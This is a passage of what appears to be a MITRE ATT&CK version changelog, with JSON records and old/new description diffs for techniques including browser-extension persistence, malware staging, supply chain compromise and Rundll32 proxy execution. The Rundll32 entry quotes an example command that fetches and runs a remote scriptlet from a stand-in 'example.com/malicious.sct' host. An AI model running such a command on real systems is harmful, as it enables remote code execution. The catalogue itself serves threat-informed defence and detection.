| > | h importance to an organization, such as <code>MSExchangeIS< | > | h importance to an organization, such as <code>MSExchangeIS< | ||
| > | /code>, which will make Exchange content inaccessible.(Citat | > | /code>, which will make Exchange content inaccessible.(Citat | ||
| > | ion: Novetta Blockbuster) In some cases, adversaries may sto | > | ion: Novetta Blockbuster) In some cases, adversaries may sto | ||
| > | p or disable many or all services to render systems unusable | > | p or disable many or all services to render systems unusable | ||
| > | .(Citation: Talos Olympic Destroyer 2018) Services or proces | > | .(Citation: Talos Olympic Destroyer 2018) Services or proces | ||
| > | ses may not allow for modification of their data stores whil | > | ses may not allow for modification of their data stores whil | ||
| > | e running. Adversaries may stop services or processes in ord | > | e running. Adversaries may stop services or processes in ord | ||
| > | er to conduct [Data Destruction](https://attack.mitre.org/te | > | er to conduct [Data Destruction](https://attack.mitre.org/te | ||
| > | chniques/T1485) or [Data Encrypted for Impact](https://attac | > | chniques/T1485) or [Data Encrypted for Impact](https://attac | ||
| > | k.mitre.org/techniques/T1486) on the data stores of services | > | k.mitre.org/techniques/T1486) on the data stores of services | ||
| > | like Exchange and SQL Server, or on virtual machines hosted | > | like Exchange and SQL Server, or on virtual machines hosted | ||
| > | on ESXi infrastructure.(Citation: SecureWorks WannaCry Anal | > | on ESXi infrastructure.(Citation: SecureWorks WannaCry Anal | ||
| > | ysis)(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021 | > | ysis)(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021 | ||
| > | ) | > | ) Threat actors may also disable or stop service in cloud e | ||
| > | nvironments. For example, by leveraging the `DisableAPIServi | ||||
| > | ceAccess` API in AWS, a threat actor may prevent the service | ||||
| > | from creating service-linked roles on new accounts in the A | ||||
| > | WS Organization.(Citation: Datadog Security Labs Cloud Persi | ||||
| > | stence 2025)(Citation: AWS DisableAWSServiceAccess) |
profiles tool to install malicious .mobileconfig files. In macOS 11+, the use of the profiles tool can no longer install configuration profiles; however, .mobileconfig files can be planted and installed with user interaction.(Citation: xorrior chrome extensions macOS) \n \nOnce the extension is installed, it can browse to websites in the background, steal all information that a user enters into a browser (including credentials), and be used as an installer for a RAT for persistence.(Citation: Chrome Extension Crypto Miner)(Citation: ICEBRG Chrome Extensions)(Citation: Banker Google Chrome Extension Steals Creds)(Citation: Catch All Chrome Extension) \n\nThere have also been instances of botnets using a persistent backdoor through malicious Chrome extensions for [Command and Control](https://attack.mitre.org/tactics/TA0011).(Citation: Stantinko Botnet)(Citation: Chrome Extension C2 Malware) Adversaries may also use browser extensions to modify browser permissions and components, privacy settings, and other security controls for [Defense Evasion](https://attack.mitre.org/tactics/TA0005).(Citation: Browers FriarFox)(Citation: Browser Adrozek) ",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1176/001",
+ "external_id": "T1176.001"
+ },
+ {
+ "source_name": "Pulsedive",
+ "description": " Pulsedive Threat Research. (2025, March 21). Rilide - An Information Stealing Browser Extension. Retrieved September 22, 2025.",
+ "url": "https://blog.pulsedive.com/rilide-an-information-stealing-browser-extension/"
+ },
+ {
+ "source_name": "Chrome Extension Crypto Miner",
+ "description": "Brinkmann, M. (2017, September 19). First Chrome extension with JavaScript Crypto Miner detected. Retrieved November 16, 2017.",
+ "url": "https://www.ghacks.net/2017/09/19/first-chrome-extension-with-javascript-crypto-miner-detected/"
+ },
+ {
+ "source_name": "xorrior chrome extensions macOS",
+ "description": "Chris Ross. (2019, February 8). No Place Like Chrome. Retrieved April 27, 2021.",
+ "url": "https://www.xorrior.com/No-Place-Like-Chrome/"
+ },
+ {
+ "source_name": "Chrome Extensions Definition",
+ "description": "Chrome. (n.d.). What are Extensions?. Retrieved November 16, 2017.",
+ "url": "https://developer.chrome.com/extensions"
+ },
+ {
+ "source_name": "ICEBRG Chrome Extensions",
+ "description": "De Tore, M., Warner, J. (2018, January 15). MALICIOUS CHROME EXTENSIONS ENABLE CRIMINALS TO IMPACT OVER HALF A MILLION USERS AND GLOBAL BUSINESSES. Retrieved January 17, 2018.",
+ "url": "https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses"
+ },
+ {
+ "source_name": "Malicious Chrome Extension Numbers",
+ "description": "Jagpal, N., et al. (2015, August). Trends and Lessons from Three Years Fighting Malicious Extensions. Retrieved November 17, 2017.",
+ "url": "https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/43824.pdf"
+ },
+ {
+ "source_name": "Chrome Extension C2 Malware",
+ "description": "Kjaer, M. (2016, July 18). Malware in the browser: how you might get hacked by a Chrome extension. Retrieved September 12, 2024.",
+ "url": "https://web.archive.org/web/20240608001937/https://kjaer.io/extension-malware/"
+ },
+ {
+ "source_name": "Catch All Chrome Extension",
+ "description": "Marinho, R. (n.d.). \"Catch-All\" Google Chrome Malicious Extension Steals All Posted Data. Retrieved November 16, 2017.",
+ "url": "https://isc.sans.edu/forums/diary/CatchAll+Google+Chrome+Malicious+Extension+Steals+All+Posted+Data/22976/https:/threatpost.com/malicious-chrome-extension-steals-data-posted-to-any-website/128680/)"
+ },
+ {
+ "source_name": "Banker Google Chrome Extension Steals Creds",
+ "description": "Marinho, R. (n.d.). (Banker(GoogleChromeExtension)).targeting. Retrieved November 18, 2017.",
+ "url": "https://isc.sans.edu/forums/diary/BankerGoogleChromeExtensiontargetingBrazil/22722/"
+ },
+ {
+ "source_name": "Browser Adrozek",
+ "description": "Microsoft Threat Intelligence. (2020, December 10). Widespread malware campaign seeks to silently inject ads into search results, affects multiple browsers. Retrieved February 26, 2024.",
+ "url": "https://www.microsoft.com/en-us/security/blog/2020/12/10/widespread-malware-campaign-seeks-to-silently-inject-ads-into-search-results-affects-multiple-browsers/"
+ },
+ {
+ "source_name": "Browers FriarFox",
+ "description": "Raggi, Michael. Proofpoint Threat Research Team. (2021, February 25). TA413 Leverages New FriarFox Browser Extension to Target the Gmail Accounts of Global Tibetan Organizations. Retrieved November 17, 2024.",
+ "url": "https://www.proofpoint.com/uk/blog/threat-insight/ta413-leverages-new-friarfox-browser-extension-target-gmail-accounts-global"
+ },
+ {
+ "source_name": "Stantinko Botnet",
+ "description": "Vachon, F., Faou, M. (2017, July 20). Stantinko: A massive adware campaign operating covertly since 2012. Retrieved November 16, 2017.",
+ "url": "https://www.welivesecurity.com/2017/07/20/stantinko-massive-adware-campaign-operating-covertly-since-2012/"
+ },
+ {
+ "source_name": "Wikipedia Browser Extension",
+ "description": "Wikipedia. (2017, October 8). Browser Extension. Retrieved January 11, 2018.",
+ "url": "https://en.wikipedia.org/wiki/Browser_extension"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.3.0",
+ "x_mitre_contributors": [
+ "Gordon Long, LegioX/Zoom, asaurusrex"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Linux",
+ "Windows",
+ "macOS"
+ ],
+ "x_mitre_version": "1.1",
+ "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_contributors']\": [\"Gordon Long, LegioX/Zoom, asaurusrex\"]}, \"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Windows Registry: Windows Registry Key Creation\", \"Process: Process Creation\", \"Command: Command Execution\", \"File: File Creation\", \"Network Traffic: Network Connection Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-09-22 17:00:42.545000+00:00\", \"old_value\": \"2025-04-15 19:58:15.232000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may abuse internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality to and customize aspects of internet browsers. They can be installed directly via a local file or custom URL or through a browser's app store - an official online platform where users can browse, install, and manage extensions for a specific web browser. Extensions generally inherit the web browser's permissions previously granted.(Citation: Wikipedia Browser Extension)(Citation: Chrome Extensions Definition) \\n \\nMalicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores, so it may not be difficult for malicious extensions to defeat automated scanners.(Citation: Malicious Chrome Extension Numbers) Depending on the browser, adversaries may also manipulate an extension's update url to install updates from an adversary-controlled server or manipulate the mobile configuration file to silently install additional extensions. \\n\\nAdversaries may abuse how chromium-based browsers load extensions by modifying or replacing the Preferences and/or Secure Preferences files to silently install malicious extensions. When the browser is not running, adversaries can alter these files, ensuring the extension is loaded, granted desired permissions, and will persist in browser sessions. This method does not require user consent and extensions are silently loaded in the background from disk or from the browser's trusted store.(Citation: Pulsedive)\\n \\nPrevious to macOS 11, adversaries could silently install browser extensions via the command line using the profiles tool to install malicious .mobileconfig files. In macOS 11+, the use of the profiles tool can no longer install configuration profiles; however, .mobileconfig files can be planted and installed with user interaction.(Citation: xorrior chrome extensions macOS) \\n \\nOnce the extension is installed, it can browse to websites in the background, steal all information that a user enters into a browser (including credentials), and be used as an installer for a RAT for persistence.(Citation: Chrome Extension Crypto Miner)(Citation: ICEBRG Chrome Extensions)(Citation: Banker Google Chrome Extension Steals Creds)(Citation: Catch All Chrome Extension) \\n\\nThere have also been instances of botnets using a persistent backdoor through malicious Chrome extensions for [Command and Control](https://attack.mitre.org/tactics/TA0011).(Citation: Stantinko Botnet)(Citation: Chrome Extension C2 Malware) Adversaries may also use browser extensions to modify browser permissions and components, privacy settings, and other security controls for [Defense Evasion](https://attack.mitre.org/tactics/TA0005).(Citation: Browers FriarFox)(Citation: Browser Adrozek) \", \"old_value\": \"Adversaries may abuse internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality to and customize aspects of internet browsers. They can be installed directly via a local file or custom URL or through a browser's app store - an official online platform where users can browse, install, and manage extensions for a specific web browser. Extensions generally inherit the web browser's permissions previously granted.(Citation: Wikipedia Browser Extension)(Citation: Chrome Extensions Definition) \\n \\nMalicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores, so it may not be difficult for malicious extensions to defeat automated scanners.(Citation: Malicious Chrome Extension Numbers) Depending on the browser, adversaries may also manipulate an extension's update url to install updates from an adversary-controlled server or manipulate the mobile configuration file to silently install additional extensions. \\n \\nPrevious to macOS 11, adversaries could silently install browser extensions via the command line using the profiles tool to install malicious .mobileconfig files. In macOS 11+, the use of the profiles tool can no longer install configuration profiles; however, .mobileconfig files can be planted and installed with user interaction.(Citation: xorrior chrome extensions macOS) \\n \\nOnce the extension is installed, it can browse to websites in the background, steal all information that a user enters into a browser (including credentials), and be used as an installer for a RAT for persistence.(Citation: Chrome Extension Crypto Miner)(Citation: ICEBRG Chrome Extensions)(Citation: Banker Google Chrome Extension Steals Creds)(Citation: Catch All Chrome Extension) \\n\\nThere have also been instances of botnets using a persistent backdoor through malicious Chrome extensions for [Command and Control](https://attack.mitre.org/tactics/TA0011).(Citation: Stantinko Botnet)(Citation: Chrome Extension C2 Malware) Adversaries may also use browser extensions to modify browser permissions and components, privacy settings, and other security controls for [Defense Evasion](https://attack.mitre.org/tactics/TA0005).(Citation: Browers FriarFox)(Citation: Browser Adrozek) \", \"diff\": \"--- \\n+++ \\n@@ -1,6 +1,8 @@\\n Adversaries may abuse internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality to and customize aspects of internet browsers. They can be installed directly via a local file or custom URL or through a browser's app store - an official online platform where users can browse, install, and manage extensions for a specific web browser. Extensions generally inherit the web browser's permissions previously granted.(Citation: Wikipedia Browser Extension)(Citation: Chrome Extensions Definition) \\n \\n Malicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores, so it may not be difficult for malicious extensions to defeat automated scanners.(Citation: Malicious Chrome Extension Numbers) Depending on the browser, adversaries may also manipulate an extension's update url to install updates from an adversary-controlled server or manipulate the mobile configuration file to silently install additional extensions. \\n+\\n+Adversaries may abuse how chromium-based browsers load extensions by modifying or replacing the Preferences and/or Secure Preferences files to silently install malicious extensions. When the browser is not running, adversaries can alter these files, ensuring the extension is loaded, granted desired permissions, and will persist in browser sessions. This method does not require user consent and extensions are silently loaded in the background from disk or from the browser's trusted store.(Citation: Pulsedive)\\n \\n Previous to macOS 11, adversaries could silently install browser extensions via the command line using the profiles tool to install malicious .mobileconfig files. In macOS 11+, the use of the profiles tool can no longer install configuration profiles; however, .mobileconfig files can be planted and installed with user interaction.(Citation: xorrior chrome extensions macOS) \\n \"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['external_references'][1]\": {\"source_name\": \"Pulsedive\", \"description\": \" Pulsedive Threat Research. (2025, March 21). Rilide - An Information Stealing Browser Extension. Retrieved September 22, 2025.\", \"url\": \"https://blog.pulsedive.com/rilide-an-information-stealing-browser-extension/\"}}}",
+ "previous_version": "1.0",
+ "version_change": "1.0 \u2192 1.1",
+ "description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse internet browser extensions to establi | t | 1 | Adversaries may abuse internet browser extensions to establi |
| > | sh persistent access to victim systems. Browser extensions o | > | sh persistent access to victim systems. Browser extensions o | ||
| > | r plugins are small programs that can add functionality to a | > | r plugins are small programs that can add functionality to a | ||
| > | nd customize aspects of internet browsers. They can be insta | > | nd customize aspects of internet browsers. They can be insta | ||
| > | lled directly via a local file or custom URL or through a br | > | lled directly via a local file or custom URL or through a br | ||
| > | owser's app store - an official online platform where users | > | owser's app store - an official online platform where users | ||
| > | can browse, install, and manage extensions for a specific we | > | can browse, install, and manage extensions for a specific we | ||
| > | b browser. Extensions generally inherit the web browser's pe | > | b browser. Extensions generally inherit the web browser's pe | ||
| > | rmissions previously granted.(Citation: Wikipedia Browser Ex | > | rmissions previously granted.(Citation: Wikipedia Browser Ex | ||
| > | tension)(Citation: Chrome Extensions Definition) Maliciou | > | tension)(Citation: Chrome Extensions Definition) Maliciou | ||
| > | s extensions can be installed into a browser through malicio | > | s extensions can be installed into a browser through malicio | ||
| > | us app store downloads masquerading as legitimate extensions | > | us app store downloads masquerading as legitimate extensions | ||
| > | , through social engineering, or by an adversary that has al | > | , through social engineering, or by an adversary that has al | ||
| > | ready compromised a system. Security can be limited on brows | > | ready compromised a system. Security can be limited on brows | ||
| > | er app stores, so it may not be difficult for malicious exte | > | er app stores, so it may not be difficult for malicious exte | ||
| > | nsions to defeat automated scanners.(Citation: Malicious Chr | > | nsions to defeat automated scanners.(Citation: Malicious Chr | ||
| > | ome Extension Numbers) Depending on the browser, adversaries | > | ome Extension Numbers) Depending on the browser, adversaries | ||
| > | may also manipulate an extension's update url to install up | > | may also manipulate an extension's update url to install up | ||
| > | dates from an adversary-controlled server or manipulate the | > | dates from an adversary-controlled server or manipulate the | ||
| > | mobile configuration file to silently install additional ext | > | mobile configuration file to silently install additional ext | ||
| > | ensions. Previous to macOS 11, adversaries could silentl | > | ensions. Adversaries may abuse how chromium-based browsers | ||
| > | y install browser extensions via the command line using the | > | load extensions by modifying or replacing the Preferences a | ||
| > | <code>profiles</code> tool to install malicious <code>.mobil | > | nd/or Secure Preferences files to silently install malicious | ||
| > | econfig</code> files. In macOS 11+, the use of the <code>pro | > | extensions. When the browser is not running, adversaries ca | ||
| > | files</code> tool can no longer install configuration profil | > | n alter these files, ensuring the extension is loaded, grant | ||
| > | es; however, <code>.mobileconfig</code> files can be planted | > | ed desired permissions, and will persist in browser sessions | ||
| > | and installed with user interaction.(Citation: xorrior chro | > | . This method does not require user consent and extensions a | ||
| > | me extensions macOS) Once the extension is installed, it | > | re silently loaded in the background from disk or from the b | ||
| > | can browse to websites in the background, steal all informat | > | rowser's trusted store.(Citation: Pulsedive) Previous to | ||
| > | ion that a user enters into a browser (including credentials | > | macOS 11, adversaries could silently install browser extensi | ||
| > | ), and be used as an installer for a RAT for persistence.(Ci | > | ons via the command line using the <code>profiles</code> too | ||
| > | tation: Chrome Extension Crypto Miner)(Citation: ICEBRG Chro | > | l to install malicious <code>.mobileconfig</code> files. In | ||
| > | me Extensions)(Citation: Banker Google Chrome Extension Stea | > | macOS 11+, the use of the <code>profiles</code> tool can no | ||
| > | ls Creds)(Citation: Catch All Chrome Extension) There have | > | longer install configuration profiles; however, <code>.mobil | ||
| > | also been instances of botnets using a persistent backdoor | > | econfig</code> files can be planted and installed with user | ||
| > | through malicious Chrome extensions for [Command and Control | > | interaction.(Citation: xorrior chrome extensions macOS) O | ||
| > | ](https://attack.mitre.org/tactics/TA0011).(Citation: Stanti | > | nce the extension is installed, it can browse to websites in | ||
| > | nko Botnet)(Citation: Chrome Extension C2 Malware) Adversari | > | the background, steal all information that a user enters in | ||
| > | es may also use browser extensions to modify browser permiss | > | to a browser (including credentials), and be used as an inst | ||
| > | ions and components, privacy settings, and other security co | > | aller for a RAT for persistence.(Citation: Chrome Extension | ||
| > | ntrols for [Defense Evasion](https://attack.mitre.org/tactic | > | Crypto Miner)(Citation: ICEBRG Chrome Extensions)(Citation: | ||
| > | s/TA0005).(Citation: Browers FriarFox)(Citation: Browser Adr | > | Banker Google Chrome Extension Steals Creds)(Citation: Catch | ||
| > | ozek) | > | All Chrome Extension) There have also been instances of b | ||
| > | otnets using a persistent backdoor through malicious Chrome | ||||
| > | extensions for [Command and Control](https://attack.mitre.or | ||||
| > | g/tactics/TA0011).(Citation: Stantinko Botnet)(Citation: Chr | ||||
| > | ome Extension C2 Malware) Adversaries may also use browser e | ||||
| > | xtensions to modify browser permissions and components, priv | ||||
| > | acy settings, and other security controls for [Defense Evasi | ||||
| > | on](https://attack.mitre.org/tactics/TA0005).(Citation: Brow | ||||
| > | ers FriarFox)(Citation: Browser Adrozek) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may upload malware to third-party or adversary c | t | 1 | Adversaries may upload malware to third-party or adversary c |
| > | ontrolled infrastructure to make it accessible during target | > | ontrolled infrastructure to make it accessible during target | ||
| > | ing. Malicious software can include payloads, droppers, post | > | ing. Malicious software can include payloads, droppers, post | ||
| > | -compromise tools, backdoors, and a variety of other malicio | > | -compromise tools, backdoors, and a variety of other malicio | ||
| > | us content. Adversaries may upload malware to support their | > | us content. Adversaries may upload malware to support their | ||
| > | operations, such as making a payload available to a victim n | > | operations, such as making a payload available to a victim n | ||
| > | etwork to enable [Ingress Tool Transfer](https://attack.mitr | > | etwork to enable [Ingress Tool Transfer](https://attack.mitr | ||
| > | e.org/techniques/T1105) by placing it on an Internet accessi | > | e.org/techniques/T1105) by placing it on an Internet accessi | ||
| > | ble web server. Malware may be placed on infrastructure tha | > | ble web server. Malware may be placed on infrastructure tha | ||
| > | t was previously purchased/rented by the adversary ([Acquire | > | t was previously purchased/rented by the adversary ([Acquire | ||
| > | Infrastructure](https://attack.mitre.org/techniques/T1583)) | > | Infrastructure](https://attack.mitre.org/techniques/T1583)) | ||
| > | or was otherwise compromised by them ([Compromise Infrastru | > | or was otherwise compromised by them ([Compromise Infrastru | ||
| > | cture](https://attack.mitre.org/techniques/T1584)). Malware | > | cture](https://attack.mitre.org/techniques/T1584)). Malware | ||
| > | can also be staged on web services, such as GitHub or Pasteb | > | can also be staged on web services, such as GitHub or Pasteb | ||
| > | in, or hosted on the InterPlanetary File System (IPFS), wher | > | in; hosted on the InterPlanetary File System (IPFS), where d | ||
| > | e decentralized content storage makes the removal of malicio | > | ecentralized content storage makes the removal of malicious | ||
| > | us files difficult.(Citation: Volexity Ocean Lotus November | > | files difficult; or saved on the blockchain as smart contrac | ||
| > | 2020)(Citation: Talos IPFS 2022) Adversaries may upload bac | > | ts, which are resilient against takedowns that would affect | ||
| > | kdoored files, such as application binaries, virtual machine | > | traditional infrastructure.(Citation: Volexity Ocean Lotus N | ||
| > | images, or container images, to third-party software stores | > | ovember 2020)(Citation: Talos IPFS 2022)(Citation: Guardio E | ||
| > | or repositories (ex: GitHub, CNET, AWS Community AMIs, Dock | > | therhiding 2023)(Citation: Bleeping Computer Binance Smart C | ||
| > | er Hub). By chance encounter, victims may directly download/ | > | hain 2023) Adversaries may upload backdoored files, such as | ||
| > | install these backdoored files via [User Execution](https:// | > | software packages, application binaries, virtual machine im | ||
| > | attack.mitre.org/techniques/T1204). [Masquerading](https://a | > | ages, or container images, to third-party software stores, p | ||
| > | ttack.mitre.org/techniques/T1036) may increase the chance of | > | ackage libraries, extension marketplaces, or repositories (e | ||
| > | users mistakenly executing these files. | > | x: GitHub, CNET, AWS Community AMIs, Docker Hub, PyPi, NPM). | ||
| > | (Citation: Datadog Security Labs Malicious PyPi Packages 202 | ||||
| > | 4) By chance encounter, victims may directly download/instal | ||||
| > | l these backdoored files via [User Execution](https://attack | ||||
| > | .mitre.org/techniques/T1204). Masquerading, including typo-s | ||||
| > | quatting legitimate software, may increase the chance of use | ||||
| > | rs mistakenly executing these files. |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may manipulate products or product delivery mech | t | 1 | Adversaries may manipulate products or product delivery mech |
| > | anisms prior to receipt by a final consumer for the purpose | > | anisms prior to receipt by a final consumer for the purpose | ||
| > | of data or system compromise. Supply chain compromise can t | > | of data or system compromise. Supply chain compromise can t | ||
| > | ake place at any stage of the supply chain including: * Man | > | ake place at any stage of the supply chain including: * Man | ||
| > | ipulation of development tools * Manipulation of a developme | > | ipulation of development tools * Manipulation of a developme | ||
| > | nt environment * Manipulation of source code repositories (p | > | nt environment * Manipulation of source code repositories (p | ||
| > | ublic or private) * Manipulation of source code in open-sour | > | ublic or private) * Manipulation of source code in open-sour | ||
| > | ce dependencies * Manipulation of software update/distributi | > | ce dependencies * Manipulation of software update/distributi | ||
| > | on mechanisms * Compromised/infected system images (multiple | > | on mechanisms * Compromised/infected system images (removabl | ||
| > | cases of removable media infected at the factory)(Citation: | > | e media infected at the factory)(Citation: IBM Storwize)(Cit | ||
| > | IBM Storwize)(Citation: Schneider Electric USB Malware) * | > | ation: Schneider Electric USB Malware) * Replacement of leg | ||
| > | Replacement of legitimate software with modified versions * | > | itimate software with modified versions * Sales of modified/ | ||
| > | Sales of modified/counterfeit products to legitimate distrib | > | counterfeit products to legitimate distributors * Shipment i | ||
| > | utors * Shipment interdiction While supply chain compromise | > | nterdiction While supply chain compromise can impact any co | ||
| > | can impact any component of hardware or software, adversari | > | mponent of hardware or software, adversaries looking to gain | ||
| > | es looking to gain execution have often focused on malicious | > | execution have often focused on malicious additions to legi | ||
| > | additions to legitimate software in software distribution o | > | timate software in software distribution or update channels. | ||
| > | r update channels.(Citation: Avast CCleaner3 2018)(Citation: | > | (Citation: Avast CCleaner3 2018)(Citation: Microsoft Dofoil | ||
| > | Microsoft Dofoil 2018)(Citation: Command Five SK 2011) Targ | > | 2018)(Citation: Command Five SK 2011) Adversaries may limit | ||
| > | eting may be specific to a desired victim set or malicious s | > | targeting to a desired victim set or distribute malicious so | ||
| > | oftware may be distributed to a broad set of consumers but o | > | ftware to a broad set of consumers but only follow up with s | ||
| > | nly move on to additional tactics on specific victims.(Citat | > | pecific victims.(Citation: Symantec Elderwood Sept 2012)(Cit | ||
| > | ion: Symantec Elderwood Sept 2012)(Citation: Avast CCleaner3 | > | ation: Avast CCleaner3 2018)(Citation: Command Five SK 2011) | ||
| > | 2018)(Citation: Command Five SK 2011) Popular open source p | > | Popular open-source projects that are used as dependencies | ||
| > | rojects that are used as dependencies in many applications m | > | in many applications may also be targeted as a means to add | ||
| > | ay also be targeted as a means to add malicious code to user | > | malicious code to users of the dependency.(Citation: Trendmi | ||
| > | s of the dependency.(Citation: Trendmicro NPM Compromise) | > | cro NPM Compromise) In some cases, adversaries may conduct | ||
| > | \u201csecond-order\u201d supply chain compromises by leveraging the ac | ||||
| > | cess gained from an initial supply chain compromise to furth | ||||
| > | er compromise a software component.(Citation: Krebs 3cx over | ||||
| > | view 2023) This may allow the threat actor to spread to even | ||||
| > | more victims. |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may manipulate software dependencies and develop | t | 1 | Adversaries may manipulate software dependencies and develop |
| > | ment tools prior to receipt by a final consumer for the purp | > | ment tools prior to receipt by a final consumer for the purp | ||
| > | ose of data or system compromise. Applications often depend | > | ose of data or system compromise. Applications often depend | ||
| > | on external software to function properly. Popular open sour | > | on external software to function properly. Popular open sour | ||
| > | ce projects that are used as dependencies in many applicatio | > | ce projects that are used as dependencies in many applicatio | ||
| > | ns may be targeted as a means to add malicious code to users | > | ns, such as pip and NPM packages, may be targeted as a means | ||
| > | of the dependency.(Citation: Trendmicro NPM Compromise) | > | to add malicious code to users of the dependency.(Citation: | ||
| > | Targeting may be specific to a desired victim set or may be | > | Trendmicro NPM Compromise)(Citation: Bitdefender NPM Reposi | ||
| > | distributed to a broad set of consumers but only move on to | > | tories Compromised 2021)(Citation: MANDVI Malicious npm and | ||
| > | additional tactics on specific victims. | > | PyPI Packages Disguised) This may also include abandoned pac | ||
| > | kages, which in some cases could be re-registered by threat | ||||
| > | actors after being removed by adversaries.(Citation: The Hac | ||||
| > | ker News PyPi Revival Hijack 2024) Adversaries may also empl | ||||
| > | oy \"typosquatting\" or name-confusion by choosing names simil | ||||
| > | ar to existing popular libraries or packages in order to dec | ||||
| > | eive a user.(Citation: Ahmed Backdoors in Python and NPM Pac | ||||
| > | kages)(Citation: Meyer PyPI Supply Chain Attack Uncovered)(C | ||||
| > | itation: Checkmarx-oss-seo) Additionally, CI/CD pipeline co | ||||
| > | mponents, such as GitHub Actions, may be targeted in order t | ||||
| > | o gain access to the building, testing, and deployment cycle | ||||
| > | s of an application.(Citation: Unit 42 Palo Alto GitHub Acti | ||||
| > | ons Supply Chain Attack 2025) By adding malicious code into | ||||
| > | a GitHub action, a threat actor may be able to collect runti | ||||
| > | me credentials (e.g., via [Proc Filesystem](https://attack.m | ||||
| > | itre.org/techniques/T1003/007)) or insert further malicious | ||||
| > | components into the build pipelines for a second-order suppl | ||||
| > | y chain compromise.(Citation: OWASP CICD-SEC-4) As GitHub Ac | ||||
| > | tions are often dependent on other GitHub Actions, threat ac | ||||
| > | tors may be able to infect a large number of repositories vi | ||||
| > | a the compromise of a single Action.(Citation: Palo Alto Net | ||||
| > | works GitHub Actions Worm 2023) Targeting may be specific t | ||||
| > | o a desired victim set or may be distributed to a broad set | ||||
| > | of consumers but only move on to additional tactics on speci | ||||
| > | fic victims. |
rundll32.exe {DLLname, DLLfunction}).\n\nRundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute.(Citation: Trend Micro CPL) For example, [ClickOnce](https://attack.mitre.org/techniques/T1127/002) can be proxied through Rundll32.exe.\n\nRundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\" This behavior has been seen used by malware such as Poweliks.(Citation: This is Security Command Line Confusion)\n\nThreat actors may also abuse legitimate, signed system DLLs (e.g., zipfldr.dll, ieframe.dll) with rundll32.exe to execute malicious programs or scripts indirectly, making their activity appear more legitimate and evading detection.(Citation: lolbas project Zipfldr.dll)(Citation: lolbas project Ieframe.dll)\n\nAdversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1).\n\nAdditionally, adversaries may use [Masquerading](https://attack.mitre.org/techniques/T1036) techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion) ",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1218/011",
+ "external_id": "T1218.011"
+ },
+ {
+ "source_name": "rundll32.exe defense evasion",
+ "description": "Ariel silver. (2022, February 1). Defense Evasion Techniques. Retrieved April 8, 2022.",
+ "url": "https://www.cynet.com/attack-techniques-hands-on/defense-evasion-techniques/"
+ },
+ {
+ "source_name": "Attackify Rundll32.exe Obscurity",
+ "description": "Attackify. (n.d.). Rundll32.exe Obscurity. Retrieved August 23, 2021.",
+ "url": "https://www.attackify.com/blog/rundll32_execution_order/"
+ },
+ {
+ "source_name": "This is Security Command Line Confusion",
+ "description": "B. Ancel. (2014, August 20). Poweliks \u2013 Command Line Confusion. Retrieved March 5, 2018.",
+ "url": "https://www.stormshield.com/news/poweliks-command-line-confusion/"
+ },
+ {
+ "source_name": "Github NoRunDll",
